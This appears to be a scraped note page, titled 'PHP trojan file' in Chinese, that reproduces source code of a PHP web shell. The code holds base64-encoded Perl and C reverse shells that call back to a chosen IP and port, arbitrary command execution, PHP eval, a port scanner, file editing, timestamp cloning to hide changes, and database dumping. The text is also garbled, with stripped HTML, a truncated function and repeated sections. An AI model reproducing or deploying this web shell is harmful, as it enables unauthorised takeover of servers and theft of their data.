  1252.         function query_res($sql) {
  1253.                 $res = '';
  1254.                 if(!$res = mysql_query($sql, $this->link)) {
  1255.                         $res = 0;
  1256.                 } else if(is_resource($res)) {
  1257.                         $res = 1;
  1258.                 } else {
  1259.                         $res = 2;
  1260.                 }
  1261.                 $this->querycount++;
  1262.                 return $res;
  1263.         }
  1264.         function num_rows($query) {
  1265.                 $query = mysql_num_rows($query);
  1266.                 return $query;
  1267.         }
  1268.         function num_fields($query) {
  1269.                 $query = mysql_num_fields($query);
  1270.                 return $query;
  1271.         }
  1272.         function affected_rows() {
  1273.                 return mysql_affected_rows($this->link);
  1274.         }
  1275.         function result($query, $row) {
  1276.                 $query = mysql_result($query, $row);
  1277.                 return $query;
  1278.         }      
  1279.         function free_result($query) {
  1280.                 $query = mysql_free_result($query);
  1281.                 return $query;
  1282.         }
  1283.         function version() {
  1284.                 return mysql_get_server_info($this->link);
  1285.         }
  1286.         function close() {
  1287.                 return mysql_close($this->link);
  1288.         }
  1289.         function halt($msg =''){
  1290.                 echo "<h2>".htmlspecialchars($msg)."</h2>\n";
  1291.                 echo "<p class=\"b\">Mysql error description: ".htmlspecialchars($this->geterrdesc())."</p>\n";
  1292.                 echo "<p class=\"b\">Mysql error number: ".$this->geterrno()."</p>\n";
  1293.                 exit;
  1294.         }
  1295.         function get_fields_meta($result) {
  1296.                 $fields = array();
  1297.                 $num_fields = $this->num_fields($result);
  1298.                 for ($i = 0; $i < $num_fields; $i++) {
  1299.                         $field = mysql_fetch_field($result, $i);
  1300.                         $fields[] = $field;
  1301.                 }
  1302.                 return $fields;
  1303.         }
  1304.         function sqlAddSlashes($s = ''){
  1305.                 $s = str_replace('\\', '\\\\', $s);
  1306.                 $s = str_replace('\'', '\'\'', $s);
  1307.                 return $s;
  1308.         }
  1309.         // 备份数据库
  1310.         function sqldump($table, $fp=0) {
  1311.                 $crlf = (IS_WIN ? "\r\n" : "\n");
  1312.                 $search = array("\x00", "\x0a", "\x0d", "\x1a"); //\x08\\x09, not required
  1313.                 $replace = array('\0', '\n', '\r', '\Z');
  1314.                 if (isset($this->charset) && isset($this->charsetdb[$this->charset])) {
  1315.                         $set_names = $this->charsetdb[$this->charset];
  1316.                 } else {
  1317.                         $set_names = $this->charsetdb['utf-8'];
  1318.                 }
  1319.                 $tabledump = 'SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";'.$crlf.$crlf;
  1320.                 $tabledump .= '/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;'.$crlf
  1321.                            . '/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;'.$crlf
  1322.                            . '/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;'.$crlf
  1323.                            . '/*!40101 SET NAMES ' . $set_names . ' */;'.$crlf.$crlf;
  1324.                 $tabledump .= "DROP TABLE IF EXISTS `$table`;".$crlf;
  1325.                 $res = $this->query("SHOW CREATE TABLE $table");
  1326.                 $create = $this->fetch($res, MYSQL_NUM);
  1327.                 $tabledump .= $create[1].';'.$crlf.$crlf;
  1328.                 if (strpos($tabledump, "(\r\n ")) {
  1329.                         $tabledump = str_replace("\r\n", $crlf, $tabledump);
  1330.                 } elseif (strpos($tabledump, "(\n ")) {
  1331.                         $tabledump = str_replace("\n", $crlf, $tabledump);
  1332.                 } elseif (strpos($tabledump, "(\r ")) {
  1333.                         $tabledump = str_replace("\r", $crlf, $tabledump);
  1334.                 }
  1335.                 unset($create);
  1336.                 if ($fp) {
  1337.                         fwrite($fp,$tabledump);
  1338.                 } else {
  1339.                         echo $tabledump;
  1340.                 }
  1341.                 $tabledump = '';
  1342.                 $rows = $this->query("SELECT * FROM $table");
  1343.                 $fields_cnt = $this->num_fields($rows);
  1344.                 $fields_meta = $this->get_fields_meta($rows);
  1345.                 while ($row = $this->fetch($rows, MYSQL_NUM)) {
  1346.                         for ($j = 0; $j < $fields_cnt; $j++) {
  1347.                                 if (!isset($row[$j]) || is_null($row[$j])) {
  1348.                                         $values[] = 'NULL';
  1349.                                 } elseif ($fields_meta[$j]->numeric && $fields_meta[$j]->type != 'timestamp' && !$fields_meta[$j]->blob) {
  1350.                                         $values[] = $row[$j];
  1351.                                 } elseif ($fields_meta[$j]->blob) {
  1352.                                         if (empty($row[$j]) && $row[$j] != '0') {
  1353.                                                 $values[] = '\'\'';
  1354.                                         } else {
  1355.                                                 $values[] = '0x'.bin2hex($row[$j]);
  1356.                                         }
  1357.                                 } else {
  1358.                                         $values[] = '\''.str_replace($search, $replace, $this->sqlAddSlashes($row[$j])).'\'';
  1359.                                 }
  1360.                         }
  1361.                         $tabledump = 'INSERT INTO `'.$table.'` VALUES('.implode(', ', $values).');'.$crlf;
  1362.                         unset($values);
  1363.                         if ($fp) {
  1364.                                 fwrite($fp,$tabledump);
  1365.                         } else {
  1366.                                 echo $tabledump;
  1367.                         }
  1368.                 }
  1369.                 $this->free_result($rows);
  1370.         }
  1371. }
  1372. ?>

回复 "php木马文件"

这儿你可以回复上面这条便签

'); if ($sql_query) { $querys = @explode(';',$sql_query); foreach($querys as $num=>$query) { if ($query) { p("

Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."

"); switch($DB->query_res($query)) { case 0: p('

'.$DB->halt('Error').'

'); break; case 1: $result = $DB->query($query); $tatol = $DB->num_rows($result); p(''); p(''); $fieldnum = @mysql_num_fields($result); for($i=0;$i<$fieldnum;$i++){ p(''); } p(''); if (!$tatol) { p(''); } else { while($mn = $DB->fetch($result)){ $thisbg = bg(); p(''); //读取记录用 foreach($mn as $key=>$inside){ p(''); } p(''); unset($b1); } } p('
'.@mysql_field_name($result, $i).'
No records
'.(($inside == null) ? 'null' : html_clean($inside)).'
'); break; case 2: p('

Affected Rows : '.$DB->affected_rows().'

'); break; } } } } else { $query = $DB->query("SHOW TABLE STATUS"); $table_num = $table_rows = $data_size = 0; $tabledb = array(); while($table = $DB->fetch($query)) { $data_size = $data_size + $table['Data_length']; $table_rows = $table_rows + $table['Rows']; $table_num++; $tabledb[] = $table; } $data_size = sizecount($data_size); unset($table); if (count($tabledb)) { if ($highver) { $db_engine = $DB->fetch($DB->query("SHOW VARIABLES LIKE 'storage_engine';")); $db_collation = $DB->fetch($DB->query("SHOW VARIABLES LIKE 'collation_database';")); } $sort = array('Name', 1); if($order) { if(preg_match('!s_([A-z_]+)_(\d{1})!', $order, $match)) { $sort = array($match[1], (int)$match[2]); } } usort($tabledb, 'cmp'); p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); if ($highver) { p(''); p(''); } p(''); p(''); foreach ($tabledb as $key => $table) { $thisbg = bg(); p(''); p(''); p(''); p(''); p(''); p(''); p(''); if ($highver) { p(''); p(''); } p(''); p(''); } p(''); p(''); p(''); p(''); p(''); p(''); p(''); if ($highver) { p(''); p(''); } p(''); p(''); p(""); p("
Name '.($order == 's_Name_0' ? $dchar : '').($order == 's_Name_1' || !$order ? $uchar : '').'Rows'.($order == 's_Rows_0' ? $dchar : '').($order == 's_Rows_1' ? $uchar : '').'Data_length'.($order == 's_Data_length_0' ? $dchar : '').($order == 's_Data_length_1' ? $uchar : '').'Create_time'.($order == 's_Create_time_0' ? $dchar : '').($order == 's_Create_time_1' ? $uchar : '').'Update_time'.($order == 's_Update_time_0' ? $dchar : '').($order == 's_Update_time_1' ? $uchar : '').'EngineCollationOther
'.$table['Name'].''.$table['Rows'].' '.sizecount($table['Data_length']).''.$table['Create_time'].' '.$table['Update_time'].' '.$table['Engine'].''.$table['Collation'].'Structure
 '.$table_num.' table(s)'.$table_rows.''.$data_size.'  '.$db_engine['Value'].''.$db_collation['Value'].' 
Save as file
"); } else { p('

No tables

'); } $DB->free_result($query); } } $DB->close(); } formfoot(); }//end mysql elseif ($act == 'backconnect') { !$p2 && $p2 = $_SERVER['REMOTE_ADDR']; !$p3 && $p3 = '12345'; $usedb = array('perl'=>'perl','c'=>'c'); $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; if ($p1 == 'start' && $p2 && $p3 && $p4){ if ($p4 == 'perl') { cf('/tmp/angel_bc',$back_connect); $res = execute(which('perl')." /tmp/angel_bc ".$p2." ".$p3." &"); } else { cf('/tmp/angel_bc.c',$back_connect_c); $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); @unlink('/tmp/angel_bc.c'); $res = execute("/tmp/angel_bc ".$p2." ".$p3." &"); } m('Now script try connect to '.$p2.':'.$p3.' ...'); } formhead(array('title'=>'Back Connect', 'onsubmit'=>'g(\'backconnect\',null,\'start\',this.p2.value,this.p3.value,this.p4.value);return false;')); p('

'); p('Your IP:'); makeinput(array('name'=>'p2','size'=>20,'value'=>$p2)); p('Your Port:'); makeinput(array('name'=>'p3','size'=>15,'value'=>$p3)); p('Use:'); makeselect(array('name'=>'p4','option'=>$usedb,'selected'=>$p4)); makeinput(array('value'=>'Start','type'=>'submit','class'=>'bt')); p('

'); formfoot(); }//end elseif ($act == 'portscan') { !$p2 && $p2 = '127.0.0.1'; !$p3 && $p3 = '21,80,135,139,445,1433,3306,3389,5631,43958'; formhead(array('title'=>'端口扫描', 'onsubmit'=>'g(\'portscan\',null,\'start\',this.p2.value,this.p3.value);return false;')); p('

'); p('IP:'); makeinput(array('name'=>'p2','size'=>20,'value'=>$p2)); p('Port:'); makeinput(array('name'=>'p3','size'=>80,'value'=>$p3)); makeinput(array('value'=>'扫描','type'=>'submit','class'=>'bt')); p('

'); formfoot(); if ($p1 == 'start') { p('

Result »

'); p('
    '); foreach(explode(',', $p3) as $port) { $fp = @fsockopen($p2, $port, $errno, $errstr, 1); if (!$fp) { p('
  • '.$p2.':'.$port.' ------------------------ Close
  • '); } else { p('
  • '.$p2.':'.$port.' ------------------------ Open
  • '); @fclose($fp); } } p('
'); } } elseif ($act == 'eval') { $phpcode = trim($p1); if($phpcode){ if (!preg_match('#<\?#si', $phpcode)) { $phpcode = ""; } eval("?".">$phpcode'Eval PHP代码', 'onsubmit'=>'g(\'eval\',null,this.p1.value);return false;')); maketext(array('title'=>'PHP 代码','name'=>'p1', 'value'=>$phpcode)); p('

获得插件

'); formfooter(); }//end eval elseif ($act == 'editfile') { // 编辑文件 if ($p1 == 'edit' && $p2 && $p3) { $fp = @fopen($p2,'w'); m('Save file '.(@fwrite($fp,$p3) ? 'success' : 'failed')); @fclose($fp); } $contents = ''; if(file_exists($p2)) { $fp=@fopen($p2,'r'); $contents=@fread($fp, filesize($p2)); @fclose($fp); $contents=htmlspecialchars($contents); } formhead(array('title'=>'创建/编辑文件', 'onsubmit'=>'g(\'editfile\',null,\'edit\',this.p2.value,this.p3.value);return false;')); makeinput(array('title'=>'文件名:','name'=>'p2','value'=>$p2,'newline'=>1)); maketext(array('title'=>'文件内容:','name'=>'p3','value'=>$contents)); formfooter(); goback(); }//end editfile elseif ($act == 'newtime') { $filemtime = @filemtime($p1); formhead(array('title'=>'Clone folder/file was last modified time', 'onsubmit'=>'g(\'file\',null,\'clonetime\',this.p2.value,this.p3.value);return false;')); makeinput(array('title'=>'Alter folder/file','name'=>'p2','value'=>$p1,'size'=>120,'newline'=>1)); makeinput(array('title'=>'Reference folder/file','name'=>'p3','value'=>$cwd,'size'=>120,'newline'=>1)); formfooter(); formhead(array('title'=>'Set last modified', 'onsubmit'=>'g(\'file\',null,\'settime\',this.p2.value,this.p3.value);return false;')); makeinput(array('title'=>'Current folder/file','name'=>'p2','value'=>$p1,'size'=>120,'newline'=>1)); makeinput(array('title'=>'Modify time','name'=>'p3','value'=>date("Y-m-d H:i:s", $filemtime),'size'=>120,'newline'=>1)); formfooter(); goback(); }//end newtime elseif ($act == 'shell') { formhead(array('title'=>'执行命令', 'onsubmit'=>'g(\'shell\',null,this.p1.value);return false;')); p('

'); makeinput(array('name'=>'p1','value'=>htmlspecialchars($p1))); makeinput(array('class'=>'bt','type'=>'submit','value'=>'执行')); p('

'); formfoot(); if n scookie($key, $value, $life = 0, $prefix = 1) { global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife; $key = ($prefix ? $cookiepre : '').$key; $life = $life ? $life : $cookielife; $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0; setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport); } function loginpage() { formhead(); makehide('act','login'); makeinput(array('name'=>'password','type'=>'password','size'=>'20')); makeinput(array('type'=>'submit','value'=>'登录')); formfoot(); exit; } function execute($cfe) { $res = ''; if ($cfe) { if(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ''; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function which($pr) { $path = execute("which $pr"); return ($path ? $path : $pr); } function cf($fname,$text){ if($fp=@fopen($fname,'w')) { @fputs($fp,@base64_decode($text)); @fclose($fp); } } function dirsize($cwd) { $dh = @opendir($cwd); $size = 0; while($file = @readdir($dh)) { if ($file != '.' && $file != '..') { $path = $cwd.'/'.$file; $size += @is_dir($path) ? dirsize($path) : sprintf("%u", @filesize($path)); } } @closedir($dh); return $size; } // 页面调试信息 function debuginfo() { global $starttime; $mtime = explode(' ', microtime()); $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6); echo 'Processed in '.$totaltime.' second(s)'; } // 清除HTML代码 function html_clean($content) { $content = htmlspecialchars($content); $content = str_replace("\n", "
", $content); $content = str_replace(" ", "  ", $content); $content = str_replace("\t", "    ", $content); return $content; } // 获取权限 function getChmod($file){ return substr(base_convert(@fileperms($file),10,8),-4); } function PermsColor($f) { if (!is_readable($f)) { return ''.getPerms($f).''; } elseif (!is_writable($f)) { return ''.getPerms($f).''; } else { return ''.getPerms($f).''; } } function getPerms($file) { $mode = @fileperms($file); if (($mode & 0xC000) === 0xC000) {$type = 's';} elseif (($mode & 0x4000) === 0x4000) {$type = 'd';} elseif (($mode & 0xA000) === 0xA000) {$type = 'l';} elseif (($mode & 0x8000) === 0x8000) {$type = '-';} elseif (($mode & 0x6000) === 0x6000) {$type = 'b';} elseif (($mode & 0x2000) === 0x2000) {$type = 'c';} elseif (($mode & 0x1000) === 0x1000) {$type = 'p';} else {$type = '?';} $owner['read'] = ($mode & 00400) ? 'r' : '-'; $owner['write'] = ($mode & 00200) ? 'w' : '-'; $owner['execute'] = ($mode & 00100) ? 'x' : '-'; $group['read'] = ($mode & 00040) ? 'r' : '-'; $group['write'] = ($mode & 00020) ? 'w' : '-'; $group['execute'] = ($mode & 00010) ? 'x' : '-'; $world['read'] = ($mode & 00004) ? 'r' : '-'; $world['write'] = ($mode & 00002) ? 'w' : '-'; $world['execute'] = ($mode & 00001) ? 'x' : '-'; if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';} if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';} if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';} return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute']; } function getUser($file) { if (function_exists('posix_getpwuid')) { $array = @posix_getpwuid(@fileowner($file)); if ($array && is_array($array)) { return ' / '.$array['name'].''; } } return ''; } function copy_paste($c,$f,$d){ if(is_dir($c.$f)){ mkdir($d.$f); $dirs = scandir($c.$f); if ($dirs) { $dirs = array_diff($dirs, array('..', '.')); foreach ($dirs as $file) { copy_paste($c.$f.'/',$file, $d.$f.'/'); } } } elseif(is_file($c.$f)) { copy($c.$f, $d.$f); } } // 删除目录 function deltree($deldir) { $dirs = @scandir($deldir); if ($dirs) { $dirs = array_diff($dirs, array('..', '.')); foreach ($dirs as $file) { if((is_dir($deldir.'/'.$file))) { @chmod($deldir.'/'.$file,0777); deltree($deldir.'/'.$file); } else { @chmod($deldir.'/'.$file,0777); @unlink($deldir.'/'.$file); } } @chmod($deldir,0777); return @rmdir($deldir) ? 1 : 0; } else { return 0; } } // 表格行间的背景色替换 function bg() { global $bgc; return ($bgc++%2==0) ? 'alt1' : 'alt2'; } function cmp($a, $b) { global $sort; if(is_numeric($a[$sort[0]])) { return (($a[$sort[0]] < $b[$sort[0]]) ? -1 : 1)*($sort[1]?1:-1); } else { return strcmp($a[$sort[0]], $b[$sort[0]])*($sort[1]?1:-1); } } // 获取当前目录的上级目录 function getUpPath($cwd) { $pathdb = explode('/', $cwd); $num = count($pathdb); if ($num > 2) { unset($pathdb[$num-1],$pathdb[$num-2]); } $uppath = implode('/', $pathdb).'/'; $uppath = str_replace('//', '/', $uppath); return $uppath; } // 检查PHP配置参数 function getcfg($varname) { $result = get_cfg_var($varname); if ($result == 0) { return 'No'; } elseif ($result == 1) { return 'Yes'; } else { return $result; } } // 获得文件扩展名 function getext($file) { $info = pathinfo($file); return $info['extension']; } function GetWDirList($path){ global $dirdata,$j,$web_cwd; !$j && $j=1; $dirs = @scandir($path); if ($dirs) { $dirs = array_diff($dirs, array('..','.')); foreach ($dirs as $file) { $f=str_replace('//','/',$path.'/'.$file); if(is_dir($f)){ if (is_writable($f)) { $dirdata[$j]['filename']='/'.str_replace($web_cwd,'',$f); $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); $dirdata[$j]['chmod']=getChmod($f); $dirdata[$j]['perm']=PermsColor($f); $dirdata[$j]['owner']=getUser($f); $dirdata[$j]['link']=$f; $j++; } GetWDirList($f); } } return $dirdata; } else { return array(); } } function sizecount($size) { $unit = array('Bytes', 'KB', 'MB', 'GB', 'TB','PB'); for ($i = 0; $size >= 1024 && $i < 5; $i++) { $size /= 1024; } return round($size, 2).' '.$unit[$i]; } function p($str){ echo $str."\n"; } function makehide($name,$value=''){ p(""); } function makeinput($arg = array()){ $arg['size'] = isset($arg['size']) && $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\""; $arg['type'] = isset($arg['type']) ? $arg['type'] : 'text'; $arg['title'] = isset($arg['title']) ? $arg['title'].'
' : ''; $arg['class'] = isset($arg['class']) ? $arg['class'] : 'input'; $arg['name'] = isset($arg['name']) ? $arg['name'] : ''; $arg['value'] = isset($arg['value']) ? $arg['value'] : ''; if (isset($arg['newline'])) p('

'); p("$arg[title]"); if (isset($arg['newline'])) p('

'); } function makeselect($arg = array()){ $onchange = isset($arg['onchange']) ? 'onchange="'.$arg['onchange'].'"' : ''; $arg['title'] = isset($arg['title']) ? $arg['title'] : ''; $arg['name'] = isset($arg['name']) ? $arg['name'] : ''; p("$arg[title] "); } function formhead($arg = array()) { !isset($arg['method']) && $arg['method'] = 'post'; !isset($arg['name']) && $arg['name'] = 'form1'; $arg['extra'] = isset($arg['extra']) ? $arg['extra'] : ''; $arg['onsubmit'] = isset($arg['onsubmit']) ? "onsubmit=\"$arg[onsubmit]\"" : ''; p(""); if (isset($arg['title'])) { p('

'.$arg['title'].' »

'); } } function maketext($arg = array()){ $arg['title'] = isset($arg['title']) ? $arg['title'].'
' : ''; $arg['name'] = isset($arg['name']) ? $arg['name'] : ''; p("

$arg[title]

"); } function formfooter($name = ''){ !$name && $name = 'submit'; p('

'); p(''); } function goback(){ global $cwd, $charset; p('

'); } function formfoot(){ p(''); } function encode_pass($pass) { $pass = md5($pass); return $pass; } function pr($a) { p('
'.print_r($a).'
'); } class DB_MySQL { var $querycount = 0; var $link; var $charsetdb = array(); var $charset = ''; function connect($dbhost, $dbuser, $dbpass, $dbname='') { @ini_set('mysql.connect_timeout', 5); if(!$this->link = @mysql_connect($dbhost, $dbuser, $dbpass, 1)) { $this->halt('Can not connect to MySQL server'); } if($this->version() > '4.1') { $this->setcharset($this->charset); } $dbname && mysql_select_db($dbname, $this->link); } function setcharset($charset) { if ($charset && $this->charsetdb[$charset]) { if(function_exists('mysql_set_charset')) { mysql_set_charset($this->charsetdb[$charset], $this->link); } else { $this->query("SET character_set_connection='".$this->charsetdb[$charset]."', character_set_results='".$this->charsetdb[$charset]."', character_set_client=binary"); } } } function select_db($dbname) { return mysql_select_db($dbname, $this->link); } function geterrdesc() { return (($this->link) ? mysql_error($this->link) : mysql_error()); } function geterrno() { return intval(($this->link) ? mysql_errno($this->link) : mysql_errno()); } function fetch($query, $result_type = MYSQL_ASSOC) { //MYSQL_NUM return mysql_fetch_array($query, $result_type); } function query($sql) { //echo '

'.$sql.'

'; if(!($query = mysql_query($sql, $this->link))) { $this->halt('MySQL Query Error', $sql); } $this->querycount++; return $query; } function query_res($sql) { $res = ''; if(!$res = mysql_query($sql, $this->link)) { $res = 0; } else if(is_resource($res)) { $res = 1; } else { $res = 2; } $this->querycount++; return $res; } function num_rows($query) { $query = mysql_num_rows($query); return $query; } function num_fields($query) { $query = mysql_num_fields($query); return $query; } function affected_rows() { return mysql_affected_rows($this->link); } function result($query, $row) { $query = mysql_result($query, $row); return $query; } function free_result($query) { $query = mysql_free_result($query); return $query; } function version() { return mysql_get_server_info($this->link); } function close() { return mysql_close($this->link); } function halt($msg =''){ echo "

".htmlspecialchars($msg)."

\n"; echo "

Mysql error description: ".htmlspecialchars($this->geterrdesc())."

\n"; echo "

Mysql error number: ".$this->geterrno()."

\n"; exit; } function get_fields_meta($result) { $fields = array(); $num_fields = $this->num_fields($result); for ($i = 0; $i < $num_fields; $i++) { $field = mysql_fetch_field($result, $i); $fields[] = $field; } return $fields; } function sqlAddSlashes($s = ''){ $s = str_replace('\\', '\\\\', $s); $s = str_replace('\'', '\'\'', $s); return $s; } // 备份数据库 function sqldump($table, $fp=0) { $crlf = (IS_WIN ? "\r\n" : "\n"); $search = array("\x00", "\x0a", "\x0d", "\x1a"); //\x08\\x09, not required $replace = array('\0', '\n', '\r', '\Z'); if (isset($this->charset) && isset($this->charsetdb[$this->charset])) { $set_names = $this->charsetdb[$this->charset]; } else { $set_names = $this->charsetdb['utf-8']; } $tabledump = 'SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";'.$crlf.$crlf; $tabledump .= '/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;'.$crlf . '/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;'.$crlf . '/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;'.$crlf . '/*!40101 SET NAMES ' . $set_names . ' */;'.$crlf.$crlf; $tabledump .= "DROP TABLE IF EXISTS `$table`;".$crlf; $res = $this->query("SHOW CREATE TABLE $table"); $create = $this->fetch($res, MYSQL_NUM); $tabledump .= $create[1].';'.$crlf.$crlf; if (strpos($tabledump, "(\r\n ")) { $tabledump = str_replace("\r\n", $crlf, $tabledump); } elseif (strpos($tabledump, "(\n ")) { $tabledump = str_replace("\n", $crlf, $tabledump); } elseif (strpos($tabledump, "(\r ")) { $tabledump = str_replace("\r", $crlf, $tabledump); } unset($create); if ($fp) { fwrite($fp,$tabledump); } else { echo $tabledump; } $tabledump = ''; $rows = $this->query("SELECT * FROM $table"); $fields_cnt = $this->num_fields($rows); $fields_meta = $this->get_fields_meta($rows); while ($row = $this->fetch($rows, MYSQL_NUM)) { for ($j = 0; $j < $fields_cnt; $j++) { if (!isset($row[$j]) || is_null($row[$j])) { $values[] = 'NULL'; } elseif ($fields_meta[$j]->numeric && $fields_meta[$j]->type != 'timestamp' && !$fields_meta[$j]->blob) { $values[] = $row[$j]; } elseif ($fields_meta[$j]->blob) { if (empty($row[$j]) && $row[$j] != '0') { $values[] = '\'\''; } else { $values[] = '0x'.bin2hex($row[$j]); } } else { $values[] = '\''.str_replace($search, $replace, $this->sqlAddSlashes($row[$j])).'\''; } } $tabledump = 'INSERT INTO `'.$table.'` VALUES('.implode(', ', $values).');'.$crlf; unset($values); if ($fp) { fwrite($fp,$tabledump); } else { echo $tabledump; } } $this->free_result($rows); } } ?>
captcha